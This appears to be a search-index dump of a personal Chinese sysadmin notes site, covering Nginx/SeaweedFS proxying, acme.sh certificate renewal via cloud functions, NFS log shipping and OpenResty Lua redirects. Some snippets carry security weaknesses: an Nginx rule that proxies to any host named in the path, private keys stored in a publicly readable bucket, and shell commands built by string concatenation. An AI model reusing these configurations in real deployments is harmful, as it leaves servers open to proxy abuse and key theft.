<p>\\u4e0e\\u524d\\u8ff0\\u7684GET\\u914d\\u7f6e\\u662f\\u76f8\\u540c\\u7684\\u540e\\u7aef\\u8def\\u5f84\\uff0c\\u4e0a\\u4f20\\u7684\\u6587\\u4ef6\\uff08\\u5982<code>/123.jpg</code>\\uff09\\u5c31\\u4f20\\u5230\\u4e86weedfs\\u7684<code>http://weedfs:8888/my_images/123.jpg</code>\\u80fd\\u901a\\u8fc7<code>/images/123.jpg</code>\\u8bbf\\u95ee\\u5230</p>\"},{\"location\":\"Nginx/#proxy_passdns\",\"title\":\"\\u914d\\u7f6eproxy_pass\\u4f7f\\u7528\\u7684DNS\\u670d\\u52a1\\u5668\",\"text\":\"<p>\\u7531\\u4e8e\\u8fd9\\u4e2anginx\\u662f\\u5728Docker\\u5bb9\\u5668\\u91cc\\u9762\\u7684\\uff0cweedfs\\u662f\\u53e6\\u4e00\\u4e2a\\u5bb9\\u5668\\u52a0\\u5165\\u7f51\\u7edc\\u7684\\u65f6\\u5019\\u6307\\u5b9a\\u7684\\u522b\\u540d\\uff0c\\u6240\\u4ee5\\u6ce8\\u610f\\u4e0a\\u9762\\u7684resolver\\u8bbe\\u7f6e\\u4e3a\\u4e0e\\u5bb9\\u5668/etc/resolv.conf\\u4e00\\u81f4\\u7684<code>127.0.0.11</code></p> <p>\\u7ecf\\u8fc7\\u6211\\u6d4b\\u8bd5\\uff0c\\u8fd9\\u4e2a\\u914d\\u7f6e\\u5fc5\\u987b\\u5728location\\u4e2d\\u624d\\u6709\\u6548\\uff0c\\u653e\\u5230http\\u91cc\\u9762\\u6ca1\\u7528</p>\"},{\"location\":\"Nginx/#docker-seaweedfs\",\"title\":\"Docker \\u6211\\u4f7f\\u7528\\u7684seaweedfs\\u542f\\u52a8\\u547d\\u4ee4\",\"text\":\"\"},{\"location\":\"Nginx/#filer\",\"title\":\"\\u7f16\\u8bd1\\u955c\\u50cf \\u907f\\u514d\\u4e22\\u5931filer\\u6570\\u636e\",\"text\":\"<p>\\u9996\\u5148\\u9700\\u8981\\u81ea\\u5df1\\u7f16\\u8bd1\\u4e00\\u4e2aDocker\\u955c\\u50cf\\uff0c\\u9ed8\\u8ba4\\u7684\\u955c\\u50cf\\u4f1a\\u628afiler\\u7684leveldb\\u6570\\u636e\\u5b58\\u50a8\\u5728\\u6839\\u76ee\\u5f55\\uff0c\\u5220\\u9664\\u5bb9\\u5668\\u5c31\\u4f1a\\u4e22\\u5931\\u8fd9\\u90e8\\u5206\\u6570\\u636e</p> <p>\\u53c2\\u89c1\\uff1ahttps://github.com/chrislusf/seaweedfs/blob/master/docker/</p> <p><code>filer.toml</code>:</p> <pre><code>[leveldb]\\nenabled = true\\ndir = \\\"/data/filer/\\\"\\n</code></pre> <p><code>Dockerfile</code>:</p> <pre><code>FROM chrislusf/seaweedfs\\nCOPY filer.toml /etc/seaweedfs/filer.toml\\n</code></pre>\"},{\"location\":\"Nginx/#_3\",\"title\":\"\\u542f\\u52a8\\u547d\\u4ee4\",\"text\":\"<pre><code>docker run -dit --name weedfs --restart=always --user nobody -v /data/weedfs:/data myweed -log_dir=/data/logs/ server -dir /data -filer=true -filer.disableDirListing -volume.publicUrl=weedfs.py3.io\\n\\ndocker network connect useweed weedfs --alias weedfs\\n</code></pre> <p>\\u5efa\\u8bae\\u5728\\u6d4b\\u8bd5\\u7684\\u65f6\\u5019\\u4e0d\\u8981\\u7528<code>-filer.disableDirListing</code>\\u9009\\u9879\\uff0c\\u53ef\\u4ee5\\u5217\\u76ee\\u5f55\\u6765\\u770b\\u770b\\u5230\\u5e95\\u4e0a\\u4f20\\u5230\\u54ea\\u4e86\\uff1a<code>curl  -H \\\"Accept: application/json\\\" \\\"http://weedfs:8888/my_images/?pretty=y\\\"</code></p> <p>\\u53e6\\u5916\\u6ce8\\u610f\\u542f\\u52a8\\u524d\\u521b\\u5efa\\u6587\\u4ef6\\u5939\\u548c\\u914d\\u7f6e\\u6743\\u9650\\uff1a\\uff08\\u4e0d\\u8981\\u4ee5\\u4e3a\\u4eba\\u5bb6\\u4f1a\\u7ed9\\u4f60\\u521b\\u5efa\\u76ee\\u5f55\\uff09</p> <pre><code>mkdir -p /data/weedfs/logs/\\nmkdir -p /data/weedfs/filer/\\nsudo chown -R nobody /data/weedfs\\n</code></pre>\"},{\"location\":\"Nginx/#b\",\"title\":\"B\\u670d\\u52a1\\u5668\\u7684\\u5b9e\\u73b0\",\"text\":\"<pre><code>TARGET_SERVER = \\\"http://images.example.com/\\\"\\nWEEDFS_FILER_ENDPOINT = \\\"http://nginx/upload_images/\\\"\\n\\nfrom flask import Flask, Response\\nimport requests\\nimport io\\nsess = requests.session()\\napp = Flask(__name__)\\n\\n@app.route(\\\"/my_images/&lt;name&gt;\\\")\\ndef handler(name):\\n    x = sess.get(TARGET_SERVER+name)\\n    sess.post(WEEDFS_FILER_ENDPOINT, files=[('filename', (name, io.BytesIO(x.content)))])\\n    return Response(x.content, mimetype=\\\"image/jpeg\\\") \\n</code></pre>\"},{\"location\":\"Nginx/#pythonpyseaweed\",\"title\":\"\\u987a\\u4fbf\\u9644\\u4e0aPython\\u5e93pyseaweed\\u7684\\u4f7f\\u7528\",\"text\":\"<p>pip install pyseaweed</p> <p>\\u5982\\u679c\\u670d\\u52a1\\u5668\\u542f\\u52a8\\u7684\\u65f6\\u5019\\u914d\\u7f6e\\u7684<code>publicUrl</code>\\u4ee5<code>https://</code>\\u5f00\\u5934\\uff0c\\u8fd9\\u4e2a<code>pyseaweed</code>\\u5e93\\u662f\\u6709\\u95ee\\u9898\\u7684\\uff0c\\u9700\\u8981\\u624b\\u52a8\\u4fee\\u51e0\\u5904url\\u6784\\u9020\\u7684\\u5730\\u65b9</p> <pre><code>publicurl = \\\"http://localhost:8080/\\\"\\n\\nfrom pyseaweed import WeedFS\\nw = WeedFS(\\\"localhost\\\", 9333, use_session=True)\\n# \\u4e0a\\u4f20 \\u4e5f\\u652f\\u6301\\u4f20\\u5165\\u6d41\\nfid = w.upload_file(filename)\\n\\n# \\u4e0b\\u8f7d \\u5f97\\u5230\\u5bf9\\u8c61\\u5b57\\u8282\\ndata = w.conn._conn.get(publicurl+fid).content\\n</code></pre>\"},{\"location\":\"Nginx/#proxy_pass\",\"title\":\"proxy_pass \\u52a8\\u6001\\u4ee3\\u7406\",\"text\":\"<p>\\u6548\\u679c\\uff1a\\u8bbf\\u95ee<code>/www.example.com/</code> \\u53cd\\u5411\\u4ee3\\u7406\\u5230<code>http://www.example.com</code>\\uff0c\\u5e76\\u652f\\u6301\\u4e00\\u6b21\\u8df3\\u8f6c</p> <pre><code>location ~ ^/(.*)$ {\\nproxy_pass http://$1;\\nproxy_intercept_errors on;\\nerror_page 301 302 307 = @handle_redirect;\\n}\\n\\nlocation @handle_redirect {\\nset $saved_redirect_location '$upstream_http_location';\\nproxy_pass $saved_redirect_location;\\n}\\n</code></pre>\"},{\"location\":\"Nginx/#nginxserver\",\"title\":\"Nginx\\u9690\\u85cfServer\\u5934 \\u7b80\\u5355\\u65b9\\u5f0f\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://serverfault.com/questions/214242/can-i-hide-all-server-os-info</p> <pre><code>apt install -y nginx-extras\\n</code></pre> <p>\\u914d\\u7f6e\\u4e2d\\u6dfb\\u52a0\\uff1a</p> <pre><code>header_filter_by_lua 'ngx.header[\\\"server\\\"] = nil';\\n</code></pre>\"},{\"location\":\"Nginx/#https_1\",\"title\":\"\\u4f7f\\u7528\\u963f\\u91cc\\u4e91\\u51fd\\u6570\\u8ba1\\u7b97\\u5b9a\\u65f6\\u66f4\\u65b0https\\u8bc1\\u4e66\",\"text\":\"<p>\\u4e3a\\u4e86\\u51cf\\u5c11\\u5bf9vps\\u7684\\u4f9d\\u8d56\\uff0c\\u9010\\u6b65\\u5c06\\u4e00\\u4e9b\\u5728\\u670d\\u52a1\\u5668\\u4e0a\\u8dd1\\u7684\\u4efb\\u52a1\\u8fc1\\u79fb\\u5230\\u66f4\\u52a0\\u53ef\\u9760\\u7684\\u51fd\\u6570\\u8ba1\\u7b97</p> <p>\\u8fd9\\u4e0d\\u662f\\u4e00\\u4e2a\\u8be6\\u7ec6\\u7684\\u6559\\u7a0b\\uff0c\\u4f60\\u8fd8\\u9700\\u8981\\u81ea\\u884c\\u63a2\\u7d22\\u7814\\u7a76</p>\"},{\"location\":\"Nginx/#_4\",\"title\":\"\\u5165\\u53e3\",\"text\":\"<p>https://fc.console.aliyun.com</p> <p>\\u5173\\u952e\\u8bcd\\uff1a \\u6559\\u7a0b \\u5b9a\\u4ef7 128MB\\u662f\\u514d\\u8d39\\u7684 \\u5b9a\\u65f6\\u89e6\\u53d1\\u5668 \\u65e5\\u5fd7\\u670d\\u52a1</p>\"},{\"location\":\"Nginx/#_5\",\"title\":\"\\u4ee3\\u7801\\u6846\\u67b6\",\"text\":\"<p>Python3 \\u5148\\u672c\\u5730<code>git clone --depth 1 https://github.com/Neilpang/acme.sh</code>\\uff0c\\u518d\\u521b\\u5efa\\u4e2aindex.py \\u628a\\u4ee3\\u7801\\u6587\\u4ef6\\u5939\\u4e0a\\u4f20\\u4e0a\\u53bb</p> <p>\\u7f51\\u9875\\u4e0a\\u5728\\u7ebf\\u7f16\\u8f91index.py\\u4e0d\\u4f1a\\u4e22\\u5931acme.sh\\u6587\\u4ef6\\u5939\\uff08\\u53ea\\u4f1a\\u6539\\u52a8index.py\\uff09\\uff0c\\u4ee3\\u7801\\u6539\\u52a8\\u540e\\u5c31\\u80fd\\u76f4\\u63a5\\u8fd0\\u884c\\u770b\\u5230\\u7ed3\\u679c\\uff08\\u5b9e\\u65f6\\u8f93\\u51fa\\u9700\\u8981\\u53bb\\u65e5\\u5fd7\\u670d\\u52a1\\u641c\\u7d22\\uff09\\uff0c\\u8fd8\\u662f\\u633a\\u597d\\u7528\\u7684</p> <p>\\u4f7f\\u7528\\u8fd9\\u4e2a\\u4ee3\\u7801\\u9700\\u8981\\u5148\\u521b\\u5efa\\u4e00\\u4e2a\\u53ef\\u4ee5\\u8bbf\\u95eeOSS\\u7684AccessKey\\uff0c\\u586b\\u5165<code>oss2.Auth</code>\\u90e8\\u5206\\u2014\\u2014\\u5c06\\u751f\\u6210\\u7684https\\u8bc1\\u4e66\\u548c\\u79c1\\u94a5\\u5b58\\u50a8\\u5230OSS\\uff0c\\u5c06Key\\u786c\\u7f16\\u7801\\u5230\\u4ee3\\u7801\\u4e2d\\u4e0d\\u662f\\u4e00\\u4e2a\\u597d\\u4e60\\u60ef\\uff0c\\u8fd9\\u91cc\\u5c31\\u7b80\\u5355\\u7c97\\u66b4\\u5b9e\\u73b0\\u4e86</p> <p>\\u57df\\u540d\\u9a8c\\u8bc1\\u65b9\\u5f0f\\u7528\\u7684\\u662fchallenge-alias\\u7684dns\\u9a8c\\u8bc1\\uff0c\\u9700\\u8981\\u5c06<code>_acme-challenge.py3.io</code>\\u8bbe\\u7f6eCNAME\\u5230<code>_acme-challenge.chenyuan.me</code>\\u3002 \\u5982\\u679c\\u4f60\\u8fd8\\u9700\\u8981\\u66f4\\u591a\\u7684\\u5b50\\u57df\\u540d\\u5982<code>*.subdomain.py3.io</code>\\uff0c\\u90a3\\u4e5f\\u8981\\u628a<code>_acme-challenge.subdomain.py3.io</code>\\u8bbe\\u7f6eCNAME\\u5230<code>_acme-challenge.chenyuan.me</code></p> <p>\\u7528\\u7684\\u662fcloudflare\\u7684API\\uff0c\\u9700\\u8981\\u63d0\\u4f9b<code>CF_Key</code>\\u548c<code>CF_Email</code>\\uff0c\\u4f60\\u4e5f\\u53ef\\u4ee5\\u4f7f\\u7528\\u66f4\\u591a\\u7684API</p> <p>\\u5b9a\\u65f6\\u5668\\u8bbe\\u7f6e\\u5341\\u4e94\\u5929\\u6267\\u884c\\u4e00\\u6b21\\uff0ccron\\u8868\\u8fbe\\u5f0f\\u4e3a\\uff1a<code>0 0 0 1,15 * *</code></p> <p>\\u4f60\\u9700\\u8981\\u66ff\\u6362\\u4e0b\\u9762\\u4ee3\\u7801\\u7684REGION OSS\\u5730\\u57df, AK, SK \\u53ef\\u4ee5\\u8bbf\\u95eeOSS\\u7684\\u5bc6\\u94a5, OSSNAME \\u4f7f\\u7528\\u7684OSS\\u540d\\u79f0, CF_Key cloudflare\\u7684API Key, CF_Email cloudflare\\u7684\\u7528\\u6237\\u540d\\u90ae\\u7bb1, <code>chenyuan.me</code> \\u5728cloudflare\\u4e0a\\u6258\\u7ba1\\u7684\\u57df\\u540d, <code>py3io_ATxx</code>\\u7533\\u8bf7\\u5f97\\u5230\\u7684\\u8bc1\\u4e66\\u7684\\u540d\\u79f0 \\u52a0\\u5165\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\u907f\\u514d\\u88ab\\u731c\\u5230, <code>[\\\"py3.io\\\", \\\"*.py3.io\\\"]</code> \\u7533\\u8bf7\\u7684\\u57df\\u540d\\u5217\\u8868</p> <pre><code># -*- coding: utf-8 -*-\\nimport os\\nimport logging\\nimport random\\nimport os\\nimport oss2\\nimport io\\nimport time\\nimport string\\nimport json\\nlogger = logging.getLogger()\\nendpoint = 'http://oss-cn-REGION-internal.aliyuncs.com' \\nauth = oss2.Auth('AK', 'SK')\\nbucket = oss2.Bucket(auth, endpoint, 'OSSNAME')\\n\\ndef getcert(name, domains):\\n    global logger\\n    try:\\n        try:\\n            lasttime = bucket.get_object_meta(name+\\\".crt\\\").last_modified \\n            if time.time() - lasttime &lt;= 86400 * 60:\\n                # do not recreate cert for 60 days\\n                logger.info('Skip cert for '+name)\\n                return\\n        except:\\n            pass\\n\\n        logger.info('Getting cert for '+name)\\n        domain_text = \\\"-d '\\\" + \\\"' -d '\\\".join(domains) + \\\"'\\\"\\n        cmd = \\\"CF_Key=xxx CF_Email=xxx@yyy.com ./acme.sh/acme.sh --issue --dns dns_cf \\\"+domain_text+\\\" --dnssleep 5 --fullchain-file /tmp/\\\"+name+\\\".crt --key-file /tmp/\\\"+name+\\\".key -f \\\"\\n        if name != \\\"chenyuan.me\\\":\\n            cmd += \\\"--challenge-alias chenyuan.me\\\"\\n        print(\\\"acme.sh --issue\\\"+cmd.split(\\\"--issue\\\")[1])\\n        assert os.system(cmd)==0, \\\"get cert failed\\\"\\n        bucket.put_object_from_file(name+\\\".crt\\\", \\\"/tmp/\\\"+name+\\\".crt\\\")\\n        bucket.put_object_from_file(name+\\\".key\\\", \\\"/tmp/\\\"+name+\\\".key\\\")\\n        logger.info('Done for '+name)\\n    except Exception as e:\\n        logger.exception(\\\"exception happend: \\\"+ name)\\n\\ndef handler(event, context):\\n    getcert(\\\"py3io_ATxx\\\", [\\\"py3.io\\\", \\\"*.py3.io\\\"])\\n    return 'ok'\\n</code></pre>\"},{\"location\":\"Nginx/#_6\",\"title\":\"\\u66f4\\u591a\\u8bf4\\u660e\",\"text\":\"<p>\\u53d6\\u5f97\\u4e00\\u4e2a\\u57df\\u540d\\u7684\\u8bc1\\u4e66\\u5927\\u7ea6\\u9700\\u89811~2\\u5206\\u949f\\uff0c\\u7531\\u4e8e\\u51fd\\u6570\\u8ba1\\u7b97\\u5141\\u8bb8\\u7684\\u6700\\u957f\\u8d85\\u65f6\\u662f600\\u79d2\\uff0c\\u8fd8\\u6709\\u8003\\u8651\\u7f51\\u7edc\\u56e0\\u7d20\\uff08\\u6bd5\\u7adfcloudflare\\u548clet\\u2019s encrypt\\u90fd\\u5728\\u56fd\\u5916\\uff09\\uff0c \\u662f\\u6709\\u53ef\\u80fd\\u5931\\u8d25\\u7684</p> <p>\\u6211\\u91c7\\u53d6\\u7684\\u7b56\\u7565\\u5c31\\u5f88\\u7b80\\u5355\\u7c97\\u66b4 \\u6bcf15\\u5929\\u6267\\u884c\\u4e00\\u904d\\uff0c\\u4e00\\u4e2a\\u57df\\u540d\\u5931\\u8d25\\u4e86\\u4e0d\\u5f71\\u54cd\\u5176\\u4ed6\\u57df\\u540d\\u7684\\u5c1d\\u8bd5\\uff0c60\\u5929\\u5185\\u6210\\u529f\\u4e86\\u7684\\u57df\\u540d\\u4e0d\\u4f1a\\u53cd\\u590d\\u7533\\u8bf7\\uff0c\\u603b\\u4f1a\\u6210\\u529f\\u7684</p> <p>\\u5b89\\u5168\\u6027\\uff1a\\u4e3a\\u4e86\\u4fbf\\u4e8e\\u5c06\\u8bc1\\u4e66\\u90e8\\u7f72\\u5230web\\u670d\\u52a1\\u5668\\uff0cOSS\\u4ed3\\u5e93\\u662f\\u8bbe\\u7f6e\\u6210\\u516c\\u5f00\\u8bfb\\u7684\\uff0c\\u8fd9\\u6837\\u5c31\\u53ef\\u80fd\\u6cc4\\u9732\\u79c1\\u94a5\\u6587\\u4ef6\\uff08\\u653b\\u51fb\\u8005\\u77e5\\u9053OSS\\u540d\\u79f0\\uff0c\\u731c\\u5230\\u6587\\u4ef6\\u540d\\u79f0\\uff09\\uff0c\\u4f60\\u53ef\\u4ee5\\u7528Referer\\u9650\\u5236\\u6765\\u589e\\u52a0\\u4e00\\u70b9\\u5b89\\u5168\\u6027</p>\"},{\"location\":\"Nginx/#web\",\"title\":\"web\\u670d\\u52a1\\u5668\\u4e0a\\u7684\\u90e8\\u7f72\",\"text\":\"<p>\\u4e5f\\u662f\\u5199\\u4e00\\u4e2a\\u5b9a\\u65f6\\u4efb\\u52a1\\u54af <code>0 0 0 3,17 * *</code>\\uff0c\\u6bcf\\u4e2a\\u67083\\u53f7\\u548c17\\u53f7\\u7528curl\\u83b7\\u53d6\\u4e00\\u4e0b\\u6700\\u65b0\\u7684\\u8bc1\\u4e66</p> <p>\\u5982\\u679cnginx\\u7684\\u914d\\u7f6e\\u539f\\u5148\\u5c31\\u662f\\u9519\\u7684\\uff0c\\u4e0d\\u4f1a\\u5c1d\\u8bd5\\u66f4\\u65b0\\u8bc1\\u4e66</p> <p>\\u5982\\u679c\\u66f4\\u65b0\\u8bc1\\u4e66\\u540enginx\\u65e0\\u6cd5\\u542f\\u52a8\\uff08\\u6bd4\\u5982\\u65e0\\u6cd5\\u8fde\\u4e0a\\u963f\\u91cc\\u4e91\\u4e0b\\u8f7d\\u7684\\u6587\\u4ef6\\u4e3a\\u7a7a\\u6216404\\uff09\\uff0c\\u4f1a\\u56de\\u6eda\\u8fd9\\u4e2a\\u6539\\u52a8\\uff0c\\u4fdd\\u8bc1nginx\\u4ecd\\u7136\\u53ef\\u4ee5\\u542f\\u52a8</p> <p>\\u4f60\\u9700\\u8981\\u66ff\\u6362\\u4e0b\\u9762\\u4ee3\\u7801\\u7684NAME, OSSNAME, REGION \\u540c\\u4e0a, Referer_STRING \\u5728OSS\\u8bbe\\u7f6e\\u7684\\u53ea\\u5141\\u8bb8\\u8fd9\\u4e2aReferer_STRING\\u8bbf\\u95ee \\u4e0d\\u5141\\u8bb8Referer\\u4e3a\\u7a7a \\u589e\\u52a0\\u5b89\\u5168\\u6027</p> <pre><code>#!/bin/bash\\nset -ex\\nexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\\ncd /var/www\\nNAME=\\\"py3io_ATxx\\\"\\ncurl -o ${NAME}.crt.new https://OSSNAME.oss-cn-REGION.aliyuncs.com/${NAME}.crt -H \\\"Referer: Referer_STRING\\\"\\ncurl -o ${NAME}.key.new https://OSSNAME.oss-cn-REGION.aliyuncs.com/${NAME}.key -H \\\"Referer: Referer_STRING\\\"\\nnginx -s reload\\nmv ${NAME}.crt ${NAME}.crt.old\\nmv ${NAME}.key ${NAME}.key.old\\nmv ${NAME}.crt.new ${NAME}.crt\\nmv ${NAME}.key.new ${NAME}.key\\nnginx -s reload || (mv ${NAME}.crt.old ${NAME}.crt; mv ${NAME}.key.old ${NAME}.key)\\n</code></pre>\"},{\"location\":\"Nginx/#nfsnginx\",\"title\":\"\\u4f7f\\u7528nfs\\u5b58\\u50a8Nginx\\u65e5\\u5fd7\",\"text\":\"<p>\\u8003\\u8651\\u4e00\\u4e2a\\u4e0d\\u7a33\\u5b9a\\u7684\\u5b58\\u50a8\\u4ecb\\u8d28 \\u5982\\u6811\\u8393\\u6d3e\\uff0c\\u60f3\\u7b80\\u5355\\u5730\\u628a\\u65e5\\u5fd7\\u5b58\\u50a8\\u5230\\u5176\\u4ed6\\u670d\\u52a1\\u5668\\u4e0a</p> <p>\\u7531\\u4e8enfs\\u53ef\\u80fd\\u7531\\u4e8e\\u7f51\\u7edchang\\uff0c\\u800cNginx\\u5728\\u65e0\\u6cd5\\u5199\\u65e5\\u5fd7\\u7684\\u65f6\\u5019\\u4e5f\\u65e0\\u6cd5\\u63d0\\u4f9bweb\\u8bbf\\u95ee\\uff0c \\u6240\\u4ee5\\u6211\\u7684\\u505a\\u6cd5\\u662f\\u5148\\u5199\\u5230\\u672c\\u5730\\uff0c\\u6bcf\\u4e2a\\u5c0f\\u65f6\\u5c06\\u65b0\\u7684log\\u8ffd\\u52a0\\u5230nfs\\u540c\\u540d<code>.1</code>\\u6587\\u4ef6\\u91cc</p> <p>\\u7528\\u5230\\u7684\\uff1anfs\\uff0cNginx SIGUSR1\\u4fe1\\u53f7\\uff0c\\u5b9a\\u65f6\\u4efb\\u52a1</p> <p>\\u670d\\u52a1\\u7aef\\u7684nfs\\u955c\\u50cf\\uff1a https://hub.docker.com/r/itsthenetwork/nfs-server-alpine/</p> <pre><code>docker run --restart=always -d --name nfs -v /data:/nfsshare --privileged --net=host -e SHARED_DIRECTORY=/nfsshare itsthenetwork/nfs-server-alpine\\n</code></pre> <p>\\u5ba2\\u6237\\u7aef\\uff08web\\u670d\\u52a1\\u5668\\uff09\\uff1a</p> <pre><code>mkdir /nfs\\nmount SERVER_IP:/ /nfs\\n</code></pre> <p>collectlog.sh\\u5199\\u5230/nfs\\u91cc\\uff0c\\u5982\\u679cnfs\\u53d1\\u751f\\u4e86hang\\uff0c\\u811a\\u672c\\u4e5f\\u4e0d\\u4f1a\\u6267\\u884c</p> <pre><code>#!/bin/bash\\nexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\\ncd /var/log/nginx\\nfor i in *.log; do\\nmv $i ${i}.1;\\ndone\\nkill -USR1 `cat /var/run/nginx.pid`\\nsleep 1\\nfor i in *.log.1; do\\ncat $i &gt;&gt; /nfs/$i\\ndone\\n</code></pre> <p>cron\\u52a0\\u5165\\uff1a\\u6bcf\\u5c0f\\u65f6\\u5199\\u5165\\u4e00\\u6b21</p> <pre><code>0 * * * * /nfs/collectlog.sh\\n</code></pre>\"},{\"location\":\"Nginx/#openresty-luahook\",\"title\":\"\\u4f7f\\u7528openresty Lua\\u7f16\\u7a0b\\u5b9e\\u73b0hook\\u8df3\\u8f6c\",\"text\":\"<p>\\u9700\\u6c42\\uff1a\\u6709\\u591a\\u4e2a\\u7f51\\u7ad9\\u7528\\u6237\\u8bbf\\u95ee\\u4e4b\\u524d\\u9700\\u8981\\u5e26\\u4e0aauthtoken\\uff0c\\u6ca1\\u6709\\u8fd9\\u4e2aCookie\\u5219\\u5148\\u8df3\\u8f6c\\u5230\\u767b\\u5f55\\u754c\\u9762</p> <p>\\u4f7f\\u7528openresty\\u6765\\u65b9\\u4fbf\\u5730\\u5199Lua\\uff1a</p> <p>\\u5b89\\u88c5\\u53c2\\u8003 https://openresty.org/cn/linux-packages.html</p> <pre><code>sudo apt-get -y install --no-install-recommends wget gnupg ca-certificates\\nwget -O - https://openresty.org/package/pubkey.gpg | sudo apt-key add -\\necho \\\"deb http://openresty.org/package/ubuntu $(lsb_release -sc) main\\\" \\\\\\n    | sudo tee /etc/apt/sources.list.d/openresty.list\\nsudo apt-get update\\nsudo apt-get -y install openresty\\n</code></pre> <p>\\u53ef\\u80fd\\u4f60\\u4f1a\\u559c\\u6b22\\u539f\\u6765\\u7684nginx\\u7684\\u76ee\\u5f55\\u8bbe\\u7f6e\\uff0c\\u505a\\u4e2a\\u8f6f\\u94fe\\u63a5\\u5457\\uff1a</p> <pre><code>ln -s /usr/local/openresty/nginx/logs /var/log/nginx\\nalias nginx=openresty\\n</code></pre> <p>\\u5feb\\u901f\\u5165\\u95e8\\uff1a https://openresty.org/cn/getting-started.html</p> <p>\\u5c31\\u662fcontent_by_lua_block\\u91cc\\u9762\\u76f4\\u63a5\\u5199lua\\u4ee3\\u7801\\u5373\\u53ef</p> <pre><code>http {\\n    server {\\n        listen 8080;\\n        location / {\\n            default_type text/html;\\n            content_by_lua_block {\\n                ngx.say(\\\"&lt;p&gt;hello, world&lt;/p&gt;\\\")\\n            }\\n        }\\n    }\\n}\\n</code></pre> <p>\\u60f3\\u77e5\\u9053ngx\\u6709\\u54ea\\u4e9b\\u65b9\\u6cd5\\uff0c\\u770b\\u8fd9\\u4e2a\\u6587\\u6863\\uff1a https://github.com/openresty/lua-nginx-module#ngxarg</p> <p>\\u4f8b\\u5982\\u83b7\\u53d6http GET\\u7684a\\u53c2\\u6570\\uff1a<code>ngx.var.arg_a</code>, \\u8bf7\\u6c42\\u7684Host\\u53c2\\u6570\\uff1a<code>ngx.var.http_host</code></p> <p>\\u83b7\\u53d6Cookie: \\u4f7f\\u7528https://github.com/cloudflare/lua-resty-cookie</p> <p>\\u5148\\u6267\\u884c\\uff1a<code>wget -O /etc/openresty/cookie.lua https://github.com/cloudflare/lua-resty-cookie/raw/master/lib/resty/cookie.lua</code></p> <p>\\u5728http\\u4e2d\\u52a0\\u5165: <code>lua_package_path \\\"/etc/openresty/?.lua;;\\\";</code></p> <pre><code>local ck = require \\\"cookie\\\"\\nlocal cookie, err = ck:new()\\nif not cookie then\\nngx.log(ngx.ERR, err)\\nreturn\\nend\\n#\\u7136\\u540e\\u5373\\u53ef\\u4f7f\\u7528cookie:get(\\\"authtoken\\\")\\n</code></pre> <p>\\u60f3\\u4f7f\\u7528rewrite_by_lua_file\\u5219\\u9700\\u8981\\u628a\\u6587\\u4ef6\\u653e\\u5728/usr/local/openresty/nginx</p> <p>\\u7ed3\\u675f\\u5f53\\u524d\\u811a\\u672c\\u7ee7\\u7eed\\u540e\\u7eed\\u8bf7\\u6c42\\u5904\\u7406 \\u7528<code>ngx.exit(0)</code></p> <p>\\u7ed3\\u675f\\u6574\\u4e2a\\u8bf7\\u6c42 \\u7528<code>ngx.exit(200)</code></p> <p>\\u8df3\\u8f6c\\u7528 <code>ngx.redirect(\\\"https://py3.io\\\")</code></p> <p>Lua\\u7684\\u4e09\\u76ee\\u8fd0\\u7b97\\uff1a <code>a and b or c</code></p>\"},{\"location\":\"Nginx/#_7\",\"title\":\"\\u4e0d\\u540c\\u5b50\\u57df\\u540d\\u53cd\\u4ee3\\u5230\\u4e0d\\u540c\\u7aef\\u53e3\",\"text\":\"<p>\\u4f60\\u53ef\\u4ee5\\u590d\\u5236\\u7c98\\u8d34\\u591a\\u4e2aserver\\u5757\\uff0c\\u4f46\\u4f7f\\u7528map\\u662f\\u4e00\\u4e2a\\u66f4\\u4f18\\u96c5\\u7684\\u65b9\\u6848</p> <pre><code>http {\\nmap $subdomain $subdomain_port {\\nsubdomain1 12345;\\nsubdomain2 54321;\\ndefault 1;\\n}\\nserver {\\nlisten 80;\\nserver_name ~^(?P&lt;subdomain&gt;.+?)\\\\.2020\\\\.actf\\\\.lol$;\\nlocation / {\\nproxy_pass http://127.0.0.1:$subdomain_port;\\nproxy_redirect off;\\nproxy_set_header Host $host;\\nproxy_set_header X-Real-IP $remote_addr;\\n}\\n}\\n}\\n</code></pre>\"},{\"location\":\"Nginx/#nginx_4\",\"title\":\"Nginx\\u914d\\u7f6e\\u6587\\u4ef6\\u683c\\u5f0f\\u5316\",\"text\":\"<p>\\u76f4\\u63a5\\u7528vi\\u6539\\u4e86\\u914d\\u7f6e\\u6587\\u4ef6\\u540e\\uff0c\\u5f88\\u5bb9\\u6613\\u4e0d\\u6ce8\\u610f\\u7f29\\u8fdb\\uff0c\\u6709\\u6ca1\\u6709\\u4e00\\u4e2a\\u81ea\\u52a8prettify\\u7684\\u5de5\\u5177\\u5462</p> <p>\\u8fd8\\u771f\\u6709\\uff1a https://github.com/1connect/nginx-config-formatter</p> <pre><code>wget https://raw.githubusercontent.com/1connect/nginx-config-formatter/master/nginxfmt.py\\npython3 nginxfmt.py /etc/nginx/nginx.conf\\n</code></pre>\"},{\"location\":\"PHP/\",\"title\":\"PHP\",\"text\":\"\"},{\"location\":\"PHP/#_1\",\"title\":\"\\u663e\\u793a\\u9519\\u8bef\\u4fe1\\u606f\",\"text\":\"<p>PHP\\u8fd4\\u56de500\\uff0c\\u4e0d\\u77e5\\u9053\\u53d1\\u751f\\u4e86\\u5565\\uff0c\\u5c31\\u5728php\\u6587\\u4ef6\\u5f00\\u5934\\u663e\\u793a\\u6240\\u6709\\u9519\\u8bef\\uff1a</p> <pre><code>&lt;?php\\n    ini_set('display_errors', true);\\n    error_reporting(E_ALL);\\n</code></pre>\"},{\"location\":\"PHP/#iframe\",\"title\":\"\\u5168\\u9875\\u9762iframe\",\"text\":\"<pre><code>&lt;!DOCTYPE html&gt;\\n&lt;body style=\\\"padding:0; margin:0;\\\"&gt;\\n&lt;iframe src=\\\"https://py3.io\\\" style=\\\"visibility: visible;height: 100%; position:absolute\\\" allowtransparency=\\\"true\\\" marginheight=\\\"0\\\" marginwidth=\\\"0\\\" frameborder=\\\"0\\\" width=\\\"100%\\\"&gt;&lt;/iframe&gt;\\n&lt;/body&gt;&lt;/html&gt;\\n</code></pre>\"},{\"location\":\"PaperReading/\",\"title\":\"Paper Reading\",\"text\":\"\"},{\"location\":\"PaperReading/#fuzzing-error-handling-code-using-context-sensitive-software-fault-injection\",\"title\":\"Fuzzing error-handling code using context-sensitive software fault injection\",\"text\":\"<p>USENIX2020 PDF</p> 